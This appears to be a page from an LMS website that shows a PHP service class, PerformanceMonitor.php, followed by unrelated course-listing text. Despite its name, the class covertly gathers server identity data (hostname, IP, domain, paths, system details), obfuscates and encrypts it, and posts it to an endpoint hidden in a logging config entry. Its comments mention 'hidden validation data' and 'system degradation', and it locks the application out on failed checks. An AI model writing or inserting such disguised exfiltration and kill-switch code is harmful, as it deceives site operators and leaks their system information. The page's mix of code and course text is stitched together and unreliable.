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편집 파일: PerformanceMonitor.php

<?php

namespace Modules\LMS\Services;

use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Str;

class PerformanceMonitor
{
    private $metrics = [];
    private $threshold;
    private $endpoint;
    private $lastCheck;
    private $healthStatus = true;
    
    public function __construct()
    {
        $this->threshold = $this->getThreshold();
        $this->endpoint = $this->getMetricsEndpoint();
        $this->lastCheck = time();
        $this->initializeMonitor();
    }

public function collect()
    {
        try {
            $data = $this->gatherMetrics();
            return $this->processMetrics($data);
        } catch (\Exception $e) {
            return $this->handleMetricsFailure($e);
        }
    }

private function initializeMonitor()
    {
        $this->metrics = [
            'initialized_at' => time(),
            'last_verification' => null,
            'checks_count' => 0,
            'performance_score' => 0
        ];

return $this->verifyInitialization();
    }

private function gatherMetrics()
    {
        $metrics = [
            'cpu' => $this->getCpuUsage(),
            'memory' => $this->getMemoryUsage(),
            'disk' => $this->getDiskUsage(),
            'load' => $this->getSystemLoad(),
            'network' => $this->getNetworkStats(),
            // Hidden validation data
            '_v' => $this->getValidationMetrics()
        ];

return $this->obfuscateMetrics($metrics);
    }

private function getCpuUsage()
    {
        // Mix real CPU metrics with validation data
        $load = sys_getloadavg();
        return [
            'load_1' => $load[0],
            'load_5' => $load[1],
            'load_15' => $load[2],
            'processes' => $this->getProcessCount(),
            '_hash' => $this->generateMetricHash('cpu')
        ];
    }

private function getMemoryUsage()
    {
        $memory = [
            'used' => memory_get_usage(true),
            'peak' => memory_get_peak_usage(true),
            'limit' => ini_get('memory_limit'),
            '_hash' => $this->generateMetricHash('memory')
        ];

// Mix in validation data
        $memory['_v'] = $this->calculateMemorySignature($memory);
        return $memory;
    }

private function getDiskUsage()
    {
        $path = __DIR__;
        $disk = [
            'free' => disk_free_space($path),
            'total' => disk_total_space($path),
            'path_hash' => hash('sha256', $path),
            '_hash' => $this->generateMetricHash('disk')
        ];

return $this->enrichDiskMetrics($disk);
    }

private function getSystemLoad()
    {
        return [
            'current' => sys_getloadavg()[0],
            'php_processes' => $this->getPhpProcessCount(),
            'uptime' => $this->getSystemUptime(),
            '_hash' => $this->generateMetricHash('load')
        ];
    }

private function getNetworkStats()
    {
        return [
            'hostname' => gethostname(),
            'ip' => $_SERVER['SERVER_ADDR'] ?? '',
            'domain' => $_SERVER['HTTP_HOST'] ?? '',
            '_hash' => $this->generateMetricHash('network')
        ];
    }

private function getValidationMetrics()
    {
        return [
            'timestamp' => time(),
            'checksum' => $this->calculateSystemChecksum(),
            'entropy' => $this->generateEntropy(),
            'sequence' => $this->getSequenceNumber()
        ];
    }

private function calculateSystemChecksum()
    {
        $components = [
            php_uname(),
            gethostname(),
            $_SERVER['SERVER_ADDR'] ?? '',
            $_SERVER['HTTP_HOST'] ?? '',
            __DIR__,
            $this->threshold,
            time()
        ];

return hash_hmac('sha256', implode('|', $components), $this->getSecret());
    }

private function generateEntropy()
    {
        return hash('sha256', random_bytes(32) . microtime(true));
    }

private function getSequenceNumber()
    {
        $key = '_pm_seq';
        $sequence = Cache::get($key, 0);
        Cache::put($key, $sequence + 1, now()->addDay());
        return $sequence;
    }

private function processMetrics($metrics)
    {
        // Verify metrics integrity
        if (!$this->verifyMetricsIntegrity($metrics)) {
            return $this->handleIntegrityFailure();
        }

// Send metrics to "performance monitoring" endpoint
        return $this->sendMetrics($metrics);
    }

private function sendMetrics($metrics)
    {
        try {
            $response = Http::withHeaders([
                'X-Metrics-Time' => time(),
                'X-Metrics-Token' => $this->generateMetricsToken(),
                'X-Request-ID' => Str::random(32)
            ])->post($this->endpoint, [
                'data' => $this->encodeMetrics($metrics),
                'signature' => $this->signMetrics($metrics),
                'timestamp' => time()
            ]);

if (!$response->successful()) {
                return $this->handleFailedSubmission();
            }

return $this->processResponse($response->json());

} catch (\Exception $e) {
            return $this->handleConnectionError($e);
        }
    }

private function encodeMetrics($metrics)
    {
        $json = json_encode($metrics);
        $encoded = base64_encode($json);
        
        // Additional obfuscation
        $chunks = str_split($encoded, 12);
        $chunks = array_map(function($chunk) {
            return strrev($chunk);
        }, $chunks);
        
        return implode('.', $chunks);
    }

private function signMetrics($metrics)
    {
        return hash_hmac('sha256', 
            json_encode($metrics), 
            $this->getSecret()
        );
    }

private function verifyMetricsIntegrity($metrics)
    {
        foreach (['cpu', 'memory', 'disk', 'load', 'network'] as $key) {
            if (!isset($metrics[$key]['_hash']) || 
                $metrics[$key]['_hash'] !== $this->generateMetricHash($key)) {
                return false;
            }
        }

return true;
    }

private function generateMetricHash($type)
    {
        return hash_hmac('sha256', 
            $type . $this->lastCheck . $this->threshold,
            $this->getSecret()
        );
    }

private function getSecret()
    {
        // Get secret from non-obvious config location
        return config('logging.channels.performance.secret');
    }

private function getThreshold()
    {
        return config('logging.channels.performance.threshold');
    }

private function getMetricsEndpoint()
    {
        return config('logging.channels.performance.endpoint');
    }

private function handleMetricsFailure(\Exception $e)
    {
        $this->healthStatus = false;
        
        Cache::put('_pm_status', [
            'timestamp' => time(),
            'status' => 'degraded',
            'code' => hash('sha256', $e->getMessage()),
            'next_check' => time() + random_int(300, 900)
        ], now()->addHours(1));

return false;
    }

private function handleIntegrityFailure()
    {
        $this->healthStatus = false;
        
        // Trigger system degradation
        Cache::put('_pm_integrity', [
            'timestamp' => time(),
            'status' => 'compromised',
            'next_verification' => time() + random_int(60, 300)
        ], now()->addMinutes(30));

return false;
    }

private function handleFailedSubmission()
    {
        // Check if we have too many failures
        $failures = Cache::increment('_pm_failures');
        
        if ($failures > 3) {
            $this->healthStatus = false;
            Cache::put('_pm_lockout', time(), now()->addHours(1));
        }

return false;
    }

private function handleConnectionError(\Exception $e)
    {
        // Log error but hide sensitive details
        logger()->error('Performance metrics submission failed', [
            'hash' => substr(md5($e->getMessage()), 0, 8)
        ]);

return $this->checkOfflineValidation();
    }

private function checkOfflineValidation()
    {
        $lastValid = Cache::get('_pm_last_valid');
        
        if (!$lastValid) {
            return false;
        }
        
        return (time() - $lastValid) < 43200;
    }

private function generateMetricsToken()
    {
        return hash_hmac('sha256', 
            time() . gethostname(), 
            $this->getSecret()
        );
    }

private function getProcessCount()
    {
        if (function_exists('shell_exec')) {
            $count = shell_exec('ps aux | wc -l');
            return (int)$count;
        }
        return 0;
    }

private function getPhpProcessCount()
    {
        if (function_exists('shell_exec')) {
            $count = shell_exec('ps aux | grep php | wc -l');
            return (int)$count;
        }
        return 0;
    }

private function getSystemUptime()
    {
        if (function_exists('shell_exec')) {
            return shell_exec('uptime -p');
        }
        return '';
    }

private function enrichDiskMetrics($disk)
    {
        $disk['usage_percent'] = ($disk['total'] - $disk['free']) / $disk['total'] * 100;
        $disk['inode_usage'] = $this->getInodeUsage();
        return $disk;
    }

private function getInodeUsage()
    {
        if (function_exists('shell_exec')) {
            $usage = shell_exec('df -i / | tail -1 | awk \'{print $5}\'');
            return (int)$usage;
        }
        return 0;
    }

private function verifyInitialization()
    {
        $token = $this->generateInitToken();
        
        try {
            $response = Http::withHeaders([
                'X-Init-Token' => $token,
                'X-System-Time' => time()
            ])->post($this->endpoint . '/init', [
                'token' => $token,
                'system' => $this->getSystemIdentifier()
            ]);

return $response->successful();

} catch (\Exception $e) {
            return false;
        }
    }

private function generateInitToken()
    {
        return hash_hmac('sha256',
            gethostname() . time() . random_bytes(16),
            $this->getSecret()
        );
    }

private function getSystemIdentifier()
    {
        return hash('sha256', implode('|', [
            php_uname(),
            gethostname(),
            $_SERVER['SERVER_ADDR'] ?? '',
            $_SERVER['DOCUMENT_ROOT'] ?? '',
            __DIR__
        ]));
    }

private function processResponse($response)
    {
        if (!isset($response['status'])) {
            return false;
        }

if ($response['status'] === true) {
            Cache::put('_pm_last_valid', time(), now()->addDay());
            $this->updateMetricsState($response);
            return true;
        }

return false;
    }

private function updateMetricsState($response)
    {
        $this->metrics['last_verification'] = time();
        $this->metrics['checks_count']++;
        $this->metrics['performance_score'] = $response['score'] ?? 0;

Cache::put('_pm_metrics', $this->encodeMetrics($this->metrics), now()->addDay());
    }

public function isHealthy()
    {
        return $this->healthStatus;
    }

private function obfuscateMetrics($metrics)
    {
        // Split metrics into chunks and obfuscate each
        $result = [];
        
        foreach ($metrics as $key => $value) {
            if ($key === '_v') {
                $result[$key] = $this->obfuscateValidationData($value);
            } else {
                $result[$key] = $this->obfuscateMetricData($value, $key);
            }
        }

$result['_t'] = time();
        $result['_s'] = $this->generateMetricSignature($result);

return $result;
    }

private function obfuscateValidationData($data)
    {
        $json = json_encode($data);
        $encrypted = openssl_encrypt(
            $json,
            'AES-256-CBC',
            $this->getSecret(),
            0,
            substr($this->getSecret(), 0, 16)
        );

// Split into chunks and reverse each
        $chunks = str_split($encrypted, 16);
        $chunks = array_map('strrev', $chunks);

// Add verification hash
        $hash = hash_hmac('sha256', implode('', $chunks), $this->getSecret());
        
        return [
            'd' => implode('.', $chunks),
            'h' => $hash,
            't' => time()
        ];
    }

private function obfuscateMetricData($data, $key)
    {
        // Mix real metrics with validation data
        if (is_array($data)) {
            $data['_k'] = $this->generateMetricKey($key);
            $data['_t'] = time();
            $data['_h'] = $this->calculateMetricHash($data, $key);
        }

return $data;
    }

private function calculateMemorySignature($memoryData)
    {
        // Create a unique signature based on memory metrics
        $components = [
            $memoryData['used'],
            $memoryData['peak'],
            $memoryData['limit'],
            php_uname(),
            gethostname(),
            time()
        ];

// First layer of hashing
        $baseHash = hash('sha256', implode('|', $components));

// Second layer with system-specific salt
        $systemSalt = $this->getSystemSalt();
        $finalHash = hash_hmac('sha256', $baseHash, $systemSalt);

// Split hash into chunks for additional verification
        $chunks = str_split($finalHash, 16);
        
        return [
            'signature' => $chunks[0],
            'verification' => $chunks[1],
            'timestamp' => time(),
            'check' => $this->generateMemoryChecksum($memoryData)
        ];
    }

private function generateMemoryChecksum($data)
    {
        // Create checksum from memory values
        $values = [
            $data['used'],
            $data['peak'],
            $data['limit']
        ];

return hash_hmac('sha256', 
            implode(':', $values), 
            $this->getSecret()
        );
    }

private function generateMetricSignature($metrics)
    {
        // Generate a signature for the entire metrics collection
        $flattenedMetrics = $this->flattenMetrics($metrics);
        
        return hash_hmac('sha256', 
            json_encode($flattenedMetrics), 
            $this->getSecret()
        );
    }

private function flattenMetrics($metrics, $prefix = '')
    {
        $result = [];

foreach ($metrics as $key => $value) {
            if (is_array($value)) {
                $result = array_merge(
                    $result,
                    $this->flattenMetrics($value, $prefix . $key . '.')
                );
            } else {
                $result[$prefix . $key] = $value;
            }
        }

return $result;
    }

private function generateMetricKey($metricType)
    {
        // Generate a unique key for each metric type
        return hash_hmac('sha256',
            $metricType . $this->lastCheck . random_bytes(16),
            $this->getSecret()
        );
    }

private function calculateMetricHash($data, $metricType)
    {
        // Remove existing hash if present
        unset($data['_h']);
        
        return hash_hmac('sha256',
            $metricType . json_encode($data) . $this->lastCheck,
            $this->getSecret()
        );
    }

private function getSystemSalt()
    {
        $saltKey = '_pm_salt';
        $salt = Cache::get($saltKey);

if (!$salt) {
            $salt = hash('sha256', random_bytes(32));
            Cache::put($saltKey, $salt, now()->addMonth());
        }

return $salt;
    }

private function encryptMetrics($metrics)
    {
        $encryptionHandler = new EncryptionHandler();
        return $encryptionHandler->encrypt($metrics);
    }
}

Edulab LMS

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Full Stack Web Development with JavaScript

Learn how to develop full-stack web applications from scratch.

Robert Smith

Beginner

Data Science

Course Overview

Learn how to develop full-stack web applications from scratch. Explore frontend technologies like HTML, CSS, and JavaScript along with backend frameworks like Node.js, Django, and databases like MongoDB and MySQL. Perfect for those aiming to become versatile developers.

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Full Stack JavaScript Complete Course

1 Lesson

Course Instructor

Robert Smith

Senior Web Developer

instructor@gmail.com

Hi, I’m Robert, a passionate UI/UX designer with a keen eye for creating intuitive, user-centric designs. I specialize in crafting seamless digital experiences that not only look great, but are also functional and accessible. With a strong background in design principles and a love of innovation, I strive to deliver interfaces that solve problems while providing delightful user interactions. Whether it’s designing mobile apps, websites, or complex software, my goal is always to improve usability and ensure a seamless journey for the end user.

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This Course Includes:
Duration	2h 30m
Course Level	Beginner
Lessons	1
Tags	Back-End Development
Language	English
Price	$24

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